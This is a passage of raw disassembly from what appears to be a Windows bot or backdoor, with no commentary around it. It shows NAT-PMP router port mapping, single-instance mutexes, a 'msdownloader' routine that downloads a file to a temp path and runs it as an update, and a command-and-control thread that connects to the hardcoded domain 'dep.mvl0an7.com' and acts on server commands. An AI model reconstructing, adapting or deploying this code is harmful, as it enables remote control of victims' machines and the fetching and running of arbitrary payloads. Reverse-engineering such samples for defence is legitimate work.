[ebp+var_80] push eax push esi call sub_406D2C ; recvfrom test eax, eax jge short loc_4032A4 call sub_406D32 ; WSAGetLastError cmp eax, 274Ch jnz short loc_40329A cmp ebx, 9 jnz short loc_403303 loc_40329A: ; CODE XREF: sub_403113+180j push esi call sub_406CC6 ; closesocket xor eax, eax jmp short loc_40331B ; --------------------------------------------------------------------------- loc_4032A4: ; CODE XREF: sub_403113+174j push ebx push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n" call sub_407260 pop ecx pop ecx mov eax, [ebp+var_90] cmp [ebp+var_B8], eax jnz short loc_403303 push 4 lea eax, [ebp+var_78] push eax lea eax, [ebp+var_84] push eax call sub_407630 add esp, 0Ch mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_406D20 ; inet_ntoa push eax push ebx push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n" call sub_407260 add esp, 0Ch push esi call sub_406CC6 ; closesocket mov eax, [ebp+var_84] jmp short loc_40331B ; --------------------------------------------------------------------------- loc_403303: ; CODE XREF: sub_403113+185j ; sub_403113+1AAj inc ebx shl [ebp+var_9C], 1 loc_40330A: ; CODE XREF: sub_403113+C6j cmp ebx, 0Ah jl loc_4031DE push esi call sub_406CC6 ; closesocket xor eax, eax loc_40331B: ; CODE XREF: sub_403113+23j ; sub_403113+10Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403322 proc near ; CODE XREF: sub_40356A+33p ; sub_404967+110p var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = word ptr -0A4h var_A2 = word ptr -0A2h var_A0 = dword ptr -0A0h var_94 = dword ptr -94h var_90 = word ptr -90h var_8E = word ptr -8Eh var_8C = dword ptr -8Ch var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_7E = byte ptr -7Eh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_7A = byte ptr -7Ah var_78 = byte ptr -78h var_76 = byte ptr -76h var_75 = byte ptr -75h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_94], 0FAh mov [ebp+var_90], 2 mov eax, [ebp+arg_0] mov [ebp+var_8C], eax push 14E7h call sub_406CD8 ; htons mov [ebp+var_8E], ax mov eax, [ebp+arg_0] mov [ebp+var_A8], eax push eax call sub_406D20 ; inet_ntoa push eax push offset aRouterIpS ; "router ip: [%s]\n" call sub_407260 pop ecx pop ecx xor esi, esi inc esi push 11h push 2 push 2 call sub_406CBA ; socket mov edi, eax push 10h push 0 lea eax, [ebp+var_A4] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_A4], 2 mov eax, [ebp+arg_0] mov [ebp+var_A0], eax push 14E7h call sub_406CD8 ; htons mov [ebp+var_A2], ax lea eax, [ebp+var_A4] mov [ebp+var_AC], eax push 10h push [ebp+var_AC] push edi call sub_406CE4 ; bind jmp loc_403552 ; --------------------------------------------------------------------------- loc_4033DC: ; CODE XREF: sub_403322+233j mov [ebp+var_C0], 10h push esi push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n" call sub_407260 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 2 mov [ebp+var_7E], 0 mov [ebp+var_7D], 0 lea ebx, [ebp+var_7C] movzx eax, [ebp+arg_4] push eax call sub_406CD8 ; htons mov [ebx], ax lea ebx, [ebp+var_7A] movzx eax, [ebp+arg_8] push eax call sub_406CD8 ; htons mov [ebx], ax lea ebx, [ebp+var_78] mov word ptr [ebx], 0E10h mov [ebp+var_76], 0 mov [ebp+var_75], 0 push 10h lea eax, [ebp+var_90] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push edi call sub_406D26 ; sendto test eax, eax jge short loc_40345B push edi call sub_406CC6 ; closesocket xor eax, eax jmp loc_403563 ; --------------------------------------------------------------------------- loc_40345B: ; CODE XREF: sub_403322+12Aj push esi push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n" call sub_407260 pop ecx pop ecx push 4 lea eax, [ebp+var_94] push eax push 1006h push 0FFFFh push edi call sub_406CC0 ; setsockopt test eax, eax jge short loc_403492 push edi call sub_406CC6 ; closesocket xor eax, eax jmp loc_403563 ; --------------------------------------------------------------------------- loc_403492: ; CODE XREF: sub_403322+161j push esi push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n" call sub_407260 pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 10h lea eax, [ebp+var_80] push eax push edi call sub_406D2C ; recvfrom test eax, eax jge short loc_4034DD call sub_406D32 ; WSAGetLastError cmp eax, 274Ch jnz short loc_4034D0 cmp esi, 9 jnz short loc_40354B loc_4034D0: ; CODE XREF: sub_403322+1A7j push edi call sub_406CC6 ; closesocket xor eax, eax jmp loc_403563 ; --------------------------------------------------------------------------- loc_4034DD: ; CODE XREF: sub_403322+19Bj push esi push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n" call sub_407260 pop ecx pop ecx mov eax, [ebp+var_8C] cmp [ebp+var_B8], eax jnz short loc_40354B cmp [ebp+var_7F], 82h jnz short loc_40354B lea ebx, [ebp+var_7E] cmp word ptr [ebx], 0 jnz short loc_40354B lea ebx, [ebp+var_78] movzx eax, [ebp+arg_4] push eax call sub_406CD8 ; htons cmp [ebx], ax jnz short loc_40354B lea ebx, [ebp+var_76] movzx eax, word ptr [ebx] push eax call sub_406CF6 ; htons movzx eax, ax push eax push esi push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n" call sub_407260 add esp, 0Ch push edi call sub_406CC6 ; closesocket movzx eax, word ptr [ebx] push eax call sub_406CD8 ; htons movzx eax, ax jmp short loc_403563 ; --------------------------------------------------------------------------- loc_40354B: ; CODE XREF: sub_403322+1ACj ; sub_403322+1D4j ... inc esi shl [ebp+var_94], 1 loc_403552: ; CODE XREF: sub_403322+B5j cmp esi, 0Ah jl loc_4033DC push edi call sub_406CC6 ; closesocket xor eax, eax loc_403563: ; CODE XREF: sub_403322+134j ; sub_403322+16Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403322 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40356A proc near ; DATA XREF: sub_406677+3Fo ; DMN1:00447637o push ebx push esi push edi loc_40356D: ; CODE XREF: sub_40356A:loc_4035FBj xor ebx, ebx inc ebx loc_403570: ; CODE XREF: sub_40356A+15j push 0EA60h call dword_411D00 ; Sleep inc ebx cmp ebx, 3Fh jl short loc_403570 call sub_403113 mov edi, eax mov eax, dword_411010 mov si, ax movzx eax, si push eax movzx eax, word ptr dword_41100C push eax push edi call sub_403322 add esp, 0Ch mov si, ax test si, si jz short loc_4035CD movzx eax, si cmp eax, dword_411010 jz short loc_4035CD movzx eax, si mov dword_411010, eax push 1 push offset dword_411024 call dword_411D04 ; InterlockedExchange loc_4035CD: ; CODE XREF: sub_40356A+41j ; sub_40356A+4Cj movzx eax, word ptr dword_41100C push eax push eax call sub_402B02 pop ecx pop ecx test eax, eax jz short loc_4035FB mov eax, dword_41100C cmp dword_411010, eax jz short loc_4035FB push 1 push offset dword_411024 call dword_411D04 ; InterlockedExchange loc_4035FB: ; CODE XREF: sub_40356A+75j ; sub_40356A+82j jmp loc_40356D sub_40356A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_403604 proc near ; CODE XREF: sub_4066F1+77p push ebx cmp dword_411018, 0 jz short loc_403612 xor eax, eax jmp short loc_403656 ; --------------------------------------------------------------------------- loc_403612: ; CODE XREF: sub_403604+8j xor ebx, ebx push offset a__win32__nts_s ; "__win32__nts_sdm__" push 0 push 0 call dword_411D08 ; CreateMutexA mov dword_411018, eax cmp dword_411018, 0 jz short loc_403654 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_403654 xor ebx, ebx inc ebx push dword_411018 call dword_411CF8 ; CloseHandle and dword_411018, 0 loc_403654: ; CODE XREF: sub_403604+2Bj ; sub_403604+38j mov eax, ebx loc_403656: ; CODE XREF: sub_403604+Cj pop ebx retn sub_403604 endp ; =============== S U B R O U T I N E ======================================= sub_403658 proc near ; CODE XREF: sub_403FEAp ; sub_40400E+81p ... push ebx push esi xor esi, esi push offset a__win32__nts_s ; "__win32__nts_sdm__" push 0 push 100000h call dword_411D0C ; OpenMutexA mov ebx, eax test ebx, ebx jz short loc_403680 xor esi, esi inc esi push ebx call dword_411CF8 ; CloseHandle xor ebx, ebx loc_403680: ; CODE XREF: sub_403658+1Aj mov eax, esi pop esi pop ebx retn sub_403658 endp ; =============== S U B R O U T I N E ======================================= sub_403685 proc near ; CODE XREF: sub_4066F1+C5p cmp dword_411018, 0 jz short locret_4036A1 push dword_411018 call dword_411CF8 ; CloseHandle and dword_411018, 0 locret_4036A1: ; CODE XREF: sub_403685+7j retn sub_403685 endp ; --------------------------------------------------------------------------- push ebx cmp dword_41101C, 0 jz short loc_4036B0 xor eax, eax jmp short loc_4036F4 ; --------------------------------------------------------------------------- loc_4036B0: ; CODE XREF: DMN0:004036AAj xor ebx, ebx push offset a_win32__nts_sm ; "_win32__nts_sm__" push 0 push 0 call dword_411D08 ; CreateMutexA mov dword_41101C, eax cmp dword_41101C, 0 jz short loc_4036F2 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_4036F2 xor ebx, ebx inc ebx push dword_41101C call dword_411CF8 ; CloseHandle and dword_41101C, 0 loc_4036F2: ; CODE XREF: DMN0:004036CDj ; DMN0:004036DAj mov eax, ebx loc_4036F4: ; CODE XREF: DMN0:004036AEj pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_4036F6 proc near ; CODE XREF: sub_406485+9p ; sub_406485:loc_406618p push ebx push esi xor esi, esi push offset a_win32__nts_sm ; "_win32__nts_sm__" push 0 push 100000h call dword_411D0C ; OpenMutexA mov ebx, eax test ebx, ebx jz short loc_40371E xor esi, esi inc esi push ebx call dword_411CF8 ; CloseHandle xor ebx, ebx loc_40371E: ; CODE XREF: sub_4036F6+1Aj mov eax, esi pop esi pop ebx retn sub_4036F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403723 proc near ; CODE XREF: sub_40399A+16Ep ; sub_4066F1+FBp ... var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 854h push ebx push esi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] test esi, esi jz short loc_40373B and dword ptr [esi], 0 loc_40373B: ; CODE XREF: sub_403723+13j push 44h push 0 lea eax, [ebp+var_44] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_44], 44h test ebx, ebx jz short loc_40376B push offset asc_40EDC7 ; "\"" lea eax, [ebp+var_844] push eax call sub_407670 pop ecx pop ecx jmp short loc_403772 ; --------------------------------------------------------------------------- loc_40376B: ; CODE XREF: sub_403723+31j mov [ebp+var_844], 0 loc_403772: ; CODE XREF: sub_403723+46j cmp [ebp+arg_0], 0 jz short loc_40378B push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_407690 pop ecx pop ecx jmp short loc_40379E ; --------------------------------------------------------------------------- loc_40378B: ; CODE XREF: sub_403723+53j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" lea eax, [ebp+var_844] push eax call sub_407690 pop ecx pop ecx loc_40379E: ; CODE XREF: sub_403723+66j test ebx, ebx jz short loc_4037B5 push offset asc_40EDC7 ; "\"" lea eax, [ebp+var_844] push eax call sub_407690 pop ecx pop ecx loc_4037B5: ; CODE XREF: sub_403723+7Dj cmp [ebp+arg_4], 0 jz short loc_4037DF push offset asc_40EDB2 ; " " lea eax, [ebp+var_844] push eax call sub_407690 pop ecx pop ecx push [ebp+arg_4] lea eax, [ebp+var_844] push eax call sub_407690 pop ecx pop ecx loc_4037DF: ; CODE XREF: sub_403723+96j lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D10 ; CreateProcessA test eax, eax jz short loc_403832 push [ebp+var_850] call dword_411CF8 ; CloseHandle test esi, esi jz short loc_403823 mov eax, [ebp+var_854] mov [esi], eax jmp short loc_40382F ; --------------------------------------------------------------------------- loc_403823: ; CODE XREF: sub_403723+F4j push [ebp+var_854] call dword_411CF8 ; CloseHandle loc_40382F: ; CODE XREF: sub_403723+FEj xor eax, eax inc eax loc_403832: ; CODE XREF: sub_403723+E4j pop esi pop ebx mov esp, ebp pop ebp retn sub_403723 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403838 proc near ; CODE XREF: sub_40399A+65p var_408 = dword ptr -408h var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 408h push ebx push esi push edi push 0 push 0 push 0 push 1 push offset aMsdownloader ; "msdownloader" call dword_411EF0 ; InternetOpenA mov edi, eax push edi push offset aInternetopenI ; "InternetOpen(): %i\n" call nullsub_2 pop ecx pop ecx test edi, edi jnz short loc_403871 xor eax, eax jmp loc_403993 ; --------------------------------------------------------------------------- loc_403871: ; CODE XREF: sub_403838+30j push 0 push 80080300h push 0 push 0 push [ebp+arg_0] push edi call dword_411EF4 ; InternetOpenUrlA mov ebx, eax push edi push offset aInternetopenur ; "InternetOpenUrl(): %i\n" call nullsub_2 pop ecx pop ecx test ebx, ebx jnz short loc_4038A7 push edi call dword_411EF8 ; InternetCloseHandle xor eax, eax jmp loc_403993 ; --------------------------------------------------------------------------- loc_4038A7: ; CODE XREF: sub_403838+5Fj push offset aWb_0 ; "wb" push [ebp+arg_4] call sub_407300 pop ecx pop ecx mov esi, eax test esi, esi jnz short loc_4038E0 push [ebp+arg_4] push offset aFopenS___ ; "fopen(%s)...\n" call nullsub_2 pop ecx pop ecx push ebx call dword_411EF8 ; InternetCloseHandle push edi call dword_411EF8 ; InternetCloseHandle xor eax, eax jmp loc_403993 ; --------------------------------------------------------------------------- loc_4038E0: ; CODE XREF: sub_403838+82j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadingSS ; "downloading [%s] --> %s\r\n" call nullsub_2 add esp, 0Ch push 0 call dword_411D14 ; RtlRestoreLastWin32Error jmp short loc_403918 ; --------------------------------------------------------------------------- loc_4038FD: ; CODE XREF: sub_403838+F9j cmp [ebp+var_4], 0 jz short loc_403933 push esi push 1 push [ebp+var_4] lea eax, [ebp+var_404] push eax call sub_407760 add esp, 10h loc_403918: ; CODE XREF: sub_403838+C3j lea eax, [ebp+var_4] push eax push 3FFh lea eax, [ebp+var_404] push eax push ebx call dword_411EFC ; InternetReadFile test eax, eax jnz short loc_4038FD loc_403933: ; CODE XREF: sub_403838+C9j call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_408], eax push esi call sub_407560 pop ecx push ebx call dword_411EF8 ; InternetCloseHandle push edi call dword_411EF8 ; InternetCloseHandle cmp [ebp+var_408], 0 jz short loc_40397D push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n" call nullsub_2 add esp, 0Ch push [ebp+arg_4] call dword_411D18 ; DeleteFileA xor eax, eax jmp short loc_403993 ; --------------------------------------------------------------------------- loc_40397D: ; CODE XREF: sub_403838+123j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n" call nullsub_2 add esp, 0Ch xor eax, eax inc eax loc_403993: ; CODE XREF: sub_403838+34j ; sub_403838+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403838 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40399A proc near ; DATA XREF: sub_403C3F+361o ; DMN1:00444F21o var_3400 = byte ptr -3400h var_2400 = byte ptr -2400h var_1400 = byte ptr -1400h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 3400h call sub_407730 push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_2400], 0 mov [ebp+var_1000], 0 mov esi, ebx push esi push offset aUpdateUrlS ; "UPDATE URL: <%s>\n" call nullsub_2 pop ecx pop ecx lea eax, [ebp+var_3400] push eax push 0FFFh call dword_411D1C ; GetTempPathA lea eax, [ebp+var_2400] push eax push 0 push offset aMsss ; "msss" lea eax, [ebp+var_3400] push eax call dword_411D20 ; GetTempFileNameA lea eax, [ebp+var_2400] push eax push esi call sub_403838 pop ecx pop ecx test eax, eax jz loc_403B21 lea eax, [ebp+var_2400] push eax push offset aDownloadedToS ; "downloaded to: <%s>\n" call nullsub_2 pop ecx pop ecx lea eax, [ebp+var_3400] push eax push 0FFFh call dword_411D1C ; GetTempPathA lea eax, [ebp+var_1000] push eax push 0 push offset aMsssx ; "msssx" lea eax, [ebp+var_3400] push eax call dword_411D20 ; GetTempFileNameA mov edi, dword_4128A4 push 0 lea eax, [ebp+var_1000] push eax push edi call dword_411D24 ; CopyFileA test eax, eax jz loc_403B21 push 80h lea eax, [ebp+var_1000] push eax call dword_411D28 ; SetFileAttributesA push offset aUpdate ; "*update \"" lea eax, [ebp+var_1400] push eax call sub_407670 pop ecx pop ecx lea eax, [ebp+var_2400] push eax lea eax, [ebp+var_1400] push eax call sub_407690 pop ecx pop ecx push offset asc_40ECD5 ; "\" \"" lea eax, [ebp+var_1400] push eax call sub_407690 pop ecx pop ecx push edi lea eax, [ebp+var_1400] push eax call sub_407690 pop ecx pop ecx push offset asc_40EDC7 ; "\"" lea eax, [ebp+var_1400] push eax call sub_407690 pop ecx pop ecx lea eax, [ebp+var_1400] push eax lea eax, [ebp+var_1000] push eax push offset aRunningSS___ ; "running %s (%s)...\r\n" call nullsub_2 add esp, 0Ch push 0 push 1 lea eax, [ebp+var_1400] push eax lea eax, [ebp+var_1000] push eax call sub_403723 add esp, 10h test eax, eax jz short loc_403B21 loc_403B14: ; CODE XREF: sub_40399A+185j push 1770h call dword_411D00 ; Sleep jmp short loc_403B14 ; --------------------------------------------------------------------------- loc_403B21: ; CODE XREF: sub_40399A+6Ej ; sub_40399A+CCj ... push 0 push offset dword_411014 call dword_411D04 ; InterlockedExchange lea eax, [ebp+var_2400] push eax call sub_407650 pop ecx test eax, eax jz short loc_403B4C lea eax, [ebp+var_2400] push eax call dword_411D18 ; DeleteFileA loc_403B4C: ; CODE XREF: sub_40399A+1A3j lea eax, [ebp+var_1000] push eax call sub_407650 pop ecx test eax, eax jz short loc_403B6A lea eax, [ebp+var_1000] push eax call dword_411D18 ; DeleteFileA loc_403B6A: ; CODE XREF: sub_40399A+1C1j push ebx call sub_401076 pop ecx call sub_4079A0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40399A endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_403B7E proc near ; CODE XREF: sub_403C3F:loc_403E14p xor ecx, ecx mov eax, ecx retn sub_403B7E endp ; =============== S U B R O U T I N E ======================================= sub_403B83 proc near ; CODE XREF: sub_403C3F+13Bp ; sub_403C3F+14Dp xor eax, eax retn sub_403B83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B86 proc near ; CODE XREF: sub_403C3F+2C6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi mov ebx, [ebp+arg_4] xor esi, esi push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection cmp [ebp+arg_8], 0 jnz short loc_403BAE push dword_412934 call sub_401F9B pop ecx loc_403BAE: ; CODE XREF: sub_403B86+1Aj mov esi, [ebp+arg_0] mov eax, ebx mov ecx, 4 cdq idiv ecx mov ebx, eax jmp short loc_403BF6 ; --------------------------------------------------------------------------- loc_403BBF: ; CODE XREF: sub_403B86+72j push 0 push dword ptr [esi] push dword_412934 call sub_402049 add esp, 0Ch mov eax, [esi] mov [ebp+var_4], eax push eax call sub_406D20 ; inet_ntoa push eax mov eax, dword_412934 push dword ptr [eax+8] push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n" call nullsub_2 add esp, 0Ch dec ebx add esi, 4 loc_403BF6: ; CODE XREF: sub_403B86+37j test ebx, ebx jg short loc_403BBF push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection xor eax, eax inc eax pop esi pop ebx mov esp, ebp pop ebp retn sub_403B86 endp ; --------------------------------------------------------------------------- push ebx push edi mov ecx, [esp+0Ch] mov ebx, [esp+10h] xor edi, edi jmp short loc_403C28 ; --------------------------------------------------------------------------- loc_403C1C: ; CODE XREF: DMN0:00403C32j mov eax, [ebx+4] mov [ecx], eax mov ebx, [ebx+8] add ecx, 4 inc edi loc_403C28: ; CODE XREF: DMN0:00403C1Aj cmp edi, 4000h jge short loc_403C34 test ebx, ebx jnz short loc_403C1C loc_403C34: ; CODE XREF: DMN0:00403C2Ej mov edx, [esp+14h] mov [edx], edi mov eax, ebx pop edi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C3F proc near ; DATA XREF: sub_40400E+Fo ; DMN1:00444F9Eo var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection push dword_412934 call sub_401F9B pop ecx push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection push offset aDep_mvl0an7_co ; "dep.mvl0an7.com" call sub_4017BE pop ecx mov [ebp+var_14], eax test eax, eax jz short loc_403C87 cmp eax, 0FFFFFFFFh jz short loc_403C87 test eax, eax jnz short loc_403C8C loc_403C87: ; CODE XREF: sub_403C3F+3Bj ; sub_403C3F+42j jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403C8C: ; CODE XREF: sub_403C3F+46j mov [ebp+var_16], 24A2h xor esi, esi and [ebp+var_C], 0 push 0 push offset dword_411024 call dword_411D04 ; InterlockedExchange cmp dword_411004, 0 jnz short loc_403CCA movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_4023DC pop ecx pop ecx mov dword_411004, eax loc_403CCA: ; CODE XREF: sub_403C3F+6Dj movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_402449 pop ecx pop ecx push dword_411010 push offset aMyPortI ; "my port [%i]\n" call nullsub_2 pop ecx pop ecx mov eax, [ebp+var_14] mov [ebp+var_1C], eax push eax call sub_406D20 ; inet_ntoa mov [ebp+var_20], eax movzx eax, [ebp+var_16] push eax push [ebp+var_20] push offset aSrvSI ; "SRV: [%s:%i]\n" call nullsub_2 add esp, 0Ch and [ebp+var_10], 0 call sub_401359 mov [ebp+var_10], eax test eax, eax jz loc_403FB9 push [ebp+var_10] call sub_4019C3 pop ecx mov esi, eax push offset aSrvConnecting_ ; "SRV: connecting...\n" call nullsub_2 pop ecx movzx eax, [ebp+var_16] push eax push [ebp+var_14] push [ebp+var_10] call sub_401567 add esp, 0Ch test eax, eax jnz short loc_403D68 push offset aSrvConnectingF ; "SRV: connecting failed.\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403D68: ; CODE XREF: sub_403C3F+117j push offset aSrvHandshaki_0 ; "SRV: handshaking...\n" call nullsub_2 pop ecx mov [ebp+var_24], 1000h call sub_403B83 push eax push offset aSrvRip?I ; "SRV: rip? %i\n" call nullsub_2 pop ecx pop ecx call sub_403B83 test eax, eax jz short loc_403D99 or [ebp+var_24], 1 loc_403D99: ; CODE XREF: sub_403C3F+154j push [ebp+var_24] movzx eax, word ptr dword_411010 push eax push esi call sub_401D76 add esp, 0Ch test eax, eax jnz short loc_403DC1 push offset aSrvHandshaking ; "SRV: handshaking failed.\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403DC1: ; CODE XREF: sub_403C3F+170j push offset byte_40EBFB call nullsub_2 pop ecx push esi call sub_401F51 pop ecx mov [ebp+var_8], eax test eax, eax jz short loc_403DEA push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403DEA: ; CODE XREF: sub_403C3F+199j test byte ptr [ebp+var_24], 1 jz loc_403EA1 push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n" call nullsub_2 pop ecx push 10004h call sub_401048 pop ecx mov [ebp+var_30], eax mov [ebp+var_2C], eax and [ebp+var_28], 0 loc_403E14: ; CODE XREF: sub_403C3F+1F8j call sub_403B7E mov edi, eax test edi, edi jz short loc_403E39 mov edx, [ebp+var_2C] mov [edx], edi mov eax, [ebp+var_2C] add eax, 4 mov [ebp+var_2C], eax inc [ebp+var_28] cmp [ebp+var_28], 3FFFh jl short loc_403E14 loc_403E39: ; CODE XREF: sub_403C3F+1DEj mov eax, [ebp+var_28] add eax, eax add eax, eax push eax push [ebp+var_30] push 100h push esi call sub_401B8F add esp, 10h test eax, eax jnz short loc_403E6F push [ebp+var_30] call sub_401076 pop ecx push offset sub_40EB9E call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403E6F: ; CODE XREF: sub_403C3F+215j push [ebp+var_30] call sub_401076 pop ecx push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n" call nullsub_2 pop ecx push esi call sub_401F51 pop ecx mov [ebp+var_8], eax test eax, eax jz short loc_403EA1 push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403EA1: ; CODE XREF: sub_403C3F+1AFj ; sub_403C3F+250j ... push 0FFFFh push 0 lea eax, [ebp+var_2] push eax push esi call sub_401D5B add esp, 10h mov ebx, eax test ebx, ebx jl loc_403FB9 movzx eax, [ebp+var_2] mov [ebp+var_28], eax cmp eax, 200h jz short loc_403EE0 cmp eax, 201h jz short loc_403F21 cmp eax, 202h jz short loc_403EF0 jmp loc_403FB4 ; --------------------------------------------------------------------------- loc_403EE0: ; CODE XREF: sub_403C3F+28Cj push offset byte_40EB5F call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403EF0: ; CODE XREF: sub_403C3F+29Aj push offset word_40EB52 call nullsub_2 pop ecx push [ebp+var_C] push ebx push dword ptr [esi+470h] call sub_403B86 add esp, 0Ch test eax, eax jz loc_403FB4 mov [ebp+var_C], 1 jmp loc_403FB4 ; --------------------------------------------------------------------------- loc_403F21: ; CODE XREF: sub_403C3F+293j test ebx, ebx jnz short loc_403F2E mov edx, [esi+470h] mov byte ptr [edx], 0 loc_403F2E: ; CODE XREF: sub_403C3F+2E4j push dword ptr [esi+470h] push offset sub_40EB3F call nullsub_2 pop ecx pop ecx test ebx, ebx jz short loc_403FB4 push dword ptr [esi+470h] call sub_407650 pop ecx test eax, eax jz short loc_403FB4 push 0 push offset dword_411014 call dword_411D2C ; InterlockedExchangeAdd test eax, eax jnz short loc_403FB4 push 1 push offset dword_411014 call dword_411D04 ; InterlockedExchange push 10000h call sub_401048 pop ecx mov [ebp+var_2C], eax push dword ptr [esi+470h] push [ebp+var_2C] call sub_407670 pop ecx pop ecx push offset sub_40EB25 call nullsub_2 pop ecx push [ebp+var_2C] push 0 push offset sub_40399A call sub_407910 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle loc_403FB4: ; CODE XREF: sub_403C3F+29Cj ; sub_403C3F+2D0j ... jmp loc_403EA1 ; --------------------------------------------------------------------------- loc_403FB9: ; CODE XREF: sub_403C3F:loc_403C87j ; sub_403C3F+E6j ... test esi, esi jz short loc_403FC4 push esi call sub_401A3B pop ecx loc_403FC4: ; CODE XREF: sub_403C3F+37Cj cmp [ebp+var_10], 0 jz short loc_403FD3 push [ebp+var_10] call sub_4014C2 pop ecx loc_403FD3: ; CODE XREF: sub_403C3F+389j push offset aSrvcommthreadD ; "SrvCommThread: done\n" call nullsub_2 pop ecx call sub_4079A0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403C3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FEA proc near ; CODE XREF: sub_403FEA+21j ; DATA XREF: sub_404967+1ACo ... call sub_403658 test eax, eax jz short loc_404000 call sub_40506C push 0 call dword_411D30 ; ExitProcess loc_404000: ; CODE XREF: sub_403FEA+7j push 3E8h call dword_411D00 ; Sleep jmp short sub_403FEA sub_403FEA endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40400E proc near ; DATA XREF: sub_404967+189o ; DMN1:00445A71o var_4 = dword ptr -4 push ebp mov ebp, esp push eax push ebx push esi push edi and [ebp+var_4], 0 loc_404019: ; CODE XREF: sub_40400E+A4j push 0 push 0 push offset sub_403C3F call sub_407910 add esp, 0Ch mov esi, eax push 0FFFFFFFFh mov eax, esi push eax call dword_411D34 ; WaitForSingleObject mov eax, esi push eax call dword_411CF8 ; CloseHandle 